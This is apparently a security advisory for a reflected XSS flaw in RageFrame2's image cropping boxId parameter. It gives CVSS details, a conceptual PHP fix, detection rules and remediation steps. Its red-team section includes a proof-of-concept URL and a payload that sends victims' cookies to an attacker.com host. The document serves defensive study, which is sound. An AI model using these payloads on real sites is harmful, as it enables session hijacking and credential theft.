CVE-2024-30879

Executive Summary

CVE-2024-30879 is a Reflected Cross-Site Scripting (XSS) vulnerability in RageFrame2 version 2.6.43. The flaw exists in the image cropping function, specifically within the boxId parameter. An attacker can craft a malicious payload and inject it into this parameter, leading to arbitrary web script or HTML execution in the victim's browser. This can result in session hijacking, credential theft, or sensitive information disclosure. The vulnerability is publicly known, but no official patch has been released as of the latest analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction (e.g., clicking a crafted link), but the impact includes potential data theft and session compromise.

Deep Dive & Mechanics

The vulnerability resides in the image cropping functionality of RageFrame2. The boxId parameter is not properly sanitized or encoded before being reflected in the server's response. An attacker can inject a payload such as <script>alert('XSS')</script> into the boxId parameter. When the victim accesses the crafted URL, the payload executes in the context of the vulnerable application, allowing the attacker to perform actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation on the boxId parameter in the image cropping endpoint.

Attack Vector: Reflected XSS via HTTP GET request.

Prerequisites: The victim must be logged into the RageFrame2 application and click a malicious link.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual fix.

Vulnerable Code (PHP example):

// In image cropping controller
$boxId = $_GET['boxId'];
echo "Box ID: " . $boxId;

Patched Code (Conceptual):

// In image cropping controller
$boxId = htmlspecialchars($_GET['boxId'], ENT_QUOTES, 'UTF-8');
echo "Box ID: " . $boxId;

The patched version uses htmlspecialchars() to encode special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy RageFrame2 v2.6.43 in a controlled environment.
2. Craft Payload: Create a URL with a malicious boxId parameter:

   http://target.com/index.php?r=image/crop&boxId=<script>alert('XSS')</script>
   

3. Deliver: Send the crafted link to a victim (e.g., via phishing email).
4. Execute: When the victim clicks the link, the script executes in their browser.

Advanced Payload (Session Hijacking):

http://target.com/index.php?r=image/crop&boxId=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Defense & Detection)

1. Input Validation: Implement strict input validation on all parameters.
2. Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) for all user-supplied data.
3. Content Security Policy (CSP): Deploy a strict CSP to block inline scripts.
4. Web Application Firewall (WAF): Configure rules to block XSS patterns in query parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in the boxId parameter.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• Host IOCs:
  • Unexpected JavaScript execution in the browser.
  • Unusual cookies or session tokens being transmitted.
• Log IOCs:
  • Web server logs showing requests with encoded or raw XSS payloads in the boxId parameter.

Detection Engineering

YARA Rule

rule CVE_2024_30879_RageFrame2_XSS {
    meta:
        description = "Detects reflected XSS attempts against RageFrame2 boxId parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-30879"
    strings:
        $xss_payload = /boxId=.*(<script|<img|<svg|onerror|onload|alert|prompt|confirm)/i
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS in RageFrame2 boxId Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against RageFrame2 image cropping function
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "r=image/crop"
        c-uri|re: "boxId=.*(<script|<img|<svg|onerror|onload|alert|prompt|confirm)"
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-30879 RageFrame2 Reflected XSS Attempt"; flow:to_server,established; content:"r=image/crop"; http_uri; pcre:"/boxId=.*(<script|<img|<svg|onerror|onload|alert|prompt|confirm)/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Image Cropping: Temporarily disable the image cropping functionality if not critical.
2. Input Validation: Implement strict whitelist validation for the boxId parameter (e.g., only allow alphanumeric characters).
3. Output Encoding: Apply HTML entity encoding to all user-supplied data before reflection.

Long-term Fix:

• Apply the conceptual patch shown in the "Vulnerable vs. Patched Code" section.
• Monitor the vendor's repository for an official patch.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS patterns in the boxId parameter.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.